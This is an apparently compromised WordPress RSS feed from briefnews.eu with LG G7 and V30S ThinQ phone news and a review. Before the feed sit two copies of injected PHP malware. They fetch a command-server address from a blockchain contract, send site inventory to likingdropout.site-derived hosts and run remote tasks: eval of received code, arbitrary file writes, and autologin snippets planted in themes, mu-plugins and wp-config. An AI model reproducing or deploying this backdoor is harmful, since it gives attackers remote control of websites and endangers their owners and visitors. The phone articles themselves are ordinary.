// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ‘ThinQ’ – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 01 Jun 2018 14:13:19 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ‘ThinQ’ – Brief News https://briefnews.eu 32 32 LG’s AI-infused G7 ThinQ is now available in the US https://briefnews.eu/lgs-ai-infused-g7-thinq-is-now-available-in-the-us/ https://briefnews.eu/lgs-ai-infused-g7-thinq-is-now-available-in-the-us/#respond Fri, 01 Jun 2018 14:13:19 +0000 http://briefnews.eu/lgs-ai-infused-g7-thinq-is-now-available-in-the-us/

LG’s S9-rival, the G7 ThinQ, has arrived in the US and is now available at various retailers and major carriers. The G7 ThinQ is one of the Korean phonemaker’s latest premium devices that comes infused with AI features — there’s also the V30S ThinQ and the V35 ThinQ, which shares many of the G7’s characteristics and could make LG’s lineup a bit confusing. It boasts the first dedicated Google Assistant button found on an Android phone, so you don’t need to say “OK, Google” to summon the voice assistant. That button can also conjure up Google Lens, which can detect text, landmarks, media and other real-life objects, giving you a way to quickly translate foreign signs or to look for info on various objects.

The device’s star features, however, are its AI-powered cameras: it has one wide-angle and one standard 16-megapixel cameras on the back, as well as a 5-megapixel front cam. If you switch on the shooters’ AI capabilities, they’ll be able to recognize what they’re taking a photo of and to adjust the image based on what they think will produce the best results.

For instance, if the AI detects people in the photo, it could switch to “person” mode that highlights facial features and skin tone or to “portrait” mode that makes faces stand out with bokeh. If the AI detects food, it amps up color and saturation, but if it thinks you’re taking photos of the city, it focuses on the contrast between lights and shadows. The AI Cam was still unfortunately hit or miss when we tested it out, but LG says it will improve over time and future updates.

A G7 ThinQ will set you back at least $ 749. You can get one from Amazon, Best Buy and other retailers, from Google’s Project Fi page and from more traditional mobile carriers (Sprint, T-Mobile, US Cellular and Verizon.)

]]>
https://briefnews.eu/lgs-ai-infused-g7-thinq-is-now-available-in-the-us/feed/ 0
LG G7 ThinQ features a dedicated button for Google Assistant and Google Lens https://briefnews.eu/lg-g7-thinq-features-a-dedicated-button-for-google-assistant-and-google-lens/ https://briefnews.eu/lg-g7-thinq-features-a-dedicated-button-for-google-assistant-and-google-lens/#respond Wed, 02 May 2018 07:46:47 +0000 http://briefnews.eu/lg-g7-thinq-features-a-dedicated-button-for-google-assistant-and-google-lens/


LG will be unveiling the LG G7 ThinQ at simultaneous events in New York City (May 2) and Seoul (May 3). As with the LG V30S ThinQ, announced in February, we got our hands on the release a few hours early. Here are the official LG G7 ThinQ details and specs, minus pricing and exact launch dates. The LG G7 ThinQ will arrive in South Korea first, some…Read More

]]>
https://briefnews.eu/lg-g7-thinq-features-a-dedicated-button-for-google-assistant-and-google-lens/feed/ 0
LG’s V30S ThinQ is the AI-fueled phone the V30 should’ve been https://briefnews.eu/lgs-v30s-thinq-is-the-ai-fueled-phone-the-v30-shouldve-been/ https://briefnews.eu/lgs-v30s-thinq-is-the-ai-fueled-phone-the-v30-shouldve-been/#respond Sun, 25 Feb 2018 07:00:38 +0000 http://briefnews.eu/lgs-v30s-thinq-is-the-ai-fueled-phone-the-v30-shouldve-been/

In the midst of a tricky fiscal year, LG decided to run with a new strategy: cook up interim smartphones to sell between its major flagship releases. The plan was based in part on the surprising success of phones like the X cam, and since the company needed to try something different, it pressed on with its experiment. And lo, the LG V30S ThinQ was born.

If you were looking for dramatic changes to the original V30 hardware, you might be disappointed by this “interim” release. In fact, let’s run through all of the way the V30S ThinQ we received for testing differs from the original:

  • It has 6GB of RAM, up from 4GB.
  • Internal storage ranges from 128GB to 256GB, compared to 64GB-128GB in the first release.
  • This P-OLED display doesn’t have the original’s scratchy, uneven appearance in low light.
  • It’s blue.

That’s it. Broadly speaking, LG is selling last year’s phone with a fancy firmware update. This news will disappoint anyone who wanted a proper G-series flagship, like the ones we got two years running here at MWC, but all of the company’s messaging in the run up to the show indicated that we wouldn’t get a striking, brand-new machine.

To make this whole situation even weirder, Ian Hwang (LG’s director of product portfolio) confirmed that these AI features should eventually wind up on the original V30 as well. Subsequent conversations with an LG spokesperson instead suggested that some AI features would not be ported to earlier devices and that these decisions would be made on a market-by-market basis — suffice to say, we’re still trying to figure out exactly what’s what.

By now, you might wondering why LG had to make a brand new version of an existing phone for these AI features to live on the first place. We’re not really sure ourselves. LG has struggled to find its footing in the mobile world, so it’s little surprise that the LG V30S ThinQ kinda feels like a cash-grab. It’s not unlike Essential pushing out limited edition colorways to drum up some more momentum ahead of its brand new smartphone. Asking people to pay for a new version of a phone with features that are largely compatible with the original can be upsetting, but here’s the thing: these AI features actually work pretty well.

Chris Velazco/Engadget

LG worked with a company called EyeEm to train its image recognition algorithm on over 100 million photos, and in most of our tests, that work seems to have paid off. You’ll tap into all that machine learning through the camera app, where you’ll see two new options beneath the viewfinder: QLens and AI Cam. The former honestly feels like a barebones version of Bixby, with shortcuts to feed an image of what’s in front of the camera to Amazon (for shopping links) and Pinterest (to add things to your visual collection).

Shopping with a visual AI is always a little tricky because you can’t always count on the AI to correctly identify what’s in front of it. We pointed the QLens at a box of clearly marked cereal, and a handful of correct Amazon shopping links appeared at the bottom of the screen. Nice. When we pointed it at a red sweatshirt and a MacBook Pro and even another V30, we got a handful of suggestions we could tap to see related Amazon listings. In those cases, the camera was able to roughly identify the object — suggestions included “Apple laptop” and “LG cell phone” — but wasn’t smart enough to pin down the model and offer the correct links.

Chris Velazco/Engadget

We fared a little better with QLens’s Pinterest integration, though: taking a picture of a shirt prompted Pinterest suggestions that, in some cases at least, matched the shirt surprisingly well. Some suggestions were red and some had a similar texture to the real thing, so LG’s algorithm was getting pretty close.

AI Cam was more immediately useful. There are eight scene mode presets — portrait, animal, city/building, flower, sunrise, sunset, food and landscape — and as the camera is meant to fire up whichever is appropriate for what it’s looking at. While that identification process is happening, little ethereal keywords bubble up onto the screen to illustrate how the phone is “thinking” about the object. It’s completely unnecessary, but just about everyone I’ve shown it to has enjoyed it — it’s a neat way to illustrate the algorithm in action and seeing those keywords slowly become more relevant is actually kind of fascinating.

More importantly, when objects in front of the camera — like some flowers or donuts on a table — matched one of the presets, the correct shooting mode kicked in just about every time. Mismatches and false positives are certainly possible, but in the few hours we’ve been testing the V30S ThinQ, we didn’t encounter any. If anything, it just took a while for phone to decipher certain images. You don’t even need to be using the dual camera for this trick to work; identifications made through the front-facing camera worked just as quickly. If LG could tune the algorithm’s performance to the point where this feature could run by default, the company might really be onto something.

Chris Velazco/Engadget

And then there’s Google Assistant. For the most part, it works exactly the way you’d expect it to: throw an “OK, Google” or a “Hey, Google” at it, and the Assistant cheerily responds and takes your requests. The difference is, the V30S ThinQ (I will never not hate that name) is the first Android phone we’ve tested with device-specific Google Assistant commands. At present, there are 23 such commands, ranging from “OK, Google, take a wide-angle selfie” to “Hey, Google, take a documentary video.” (For the uninitiated, the latter opens the camera with a specific Cine video mode to emulate classic docs.)

You can find the full list of commands here, and almost all of them worked exactly as designed. The experience isn’t perfect, though: Google Assistant doesn’t seem to understand the word “Cine” as LG uses it, so that list of commands is flawed from the get-go. And for some reason, the Assistant was never able to understand me when I said the word “noir.” Go figure.

The issues I encountered were surprisingly minor, and that’s made more impressive by the fact that the software on this tester phone isn’t final yet. That LG (with quite a bit of help) managed to build an AI experience that functions as well as it does is no small feat, and I really wish LG had just waited and released this thing as the definitive V30 from the get-go.

Chris Velazco/Engadget

LG’s chosen path, however, leaves me on the fence. I honestly can’t tell how crucial the extra 2GB of RAM here is to the usefulness of this AI, but either way, it feels like original V30 owners are getting a raw deal. And while I can’t blame LG for trying to reverse its fortunes, interim releases like this one can be hard to swallow, especially since the first V30 only appeared on the market about six months ago. This whole interim release thing raises some questions, too: does it mean, for instance, that LG is abandoning its annual upgrade cycle? Only time will tell.

Of course, there’s one other big question: should anyone actually buy this thing? That’s hard to answer without an actual price tag, but one thing seems clear: there’s more to LG’s seemingly opportunistic update than meets the eye.

Catch up on the latest news from MWC 2018 right here.

]]>
https://briefnews.eu/lgs-v30s-thinq-is-the-ai-fueled-phone-the-v30-shouldve-been/feed/ 0
LG V30S ThinQ features hardware upgrades, Vision AI, and Voice AI https://briefnews.eu/lg-v30s-thinq-features-hardware-upgrades-vision-ai-and-voice-ai/ https://briefnews.eu/lg-v30s-thinq-features-hardware-upgrades-vision-ai-and-voice-ai/#respond Sat, 24 Feb 2018 20:18:14 +0000 http://briefnews.eu/lg-v30s-thinq-features-hardware-upgrades-vision-ai-and-voice-ai/


At Mobile World Congress 2018 in Barcelona this weekend, LG will be unveiling the LG V30S ThinQ. We got a peek at the release a bit early. Here is everything we know, minus pricing and release details.

As the name implies, the new device does not look significantly different than the LG V30 it succeeds. Instead, the company is making small hardware changes and emphasizing artificial intelligence features named Vision AI and Voice AI.

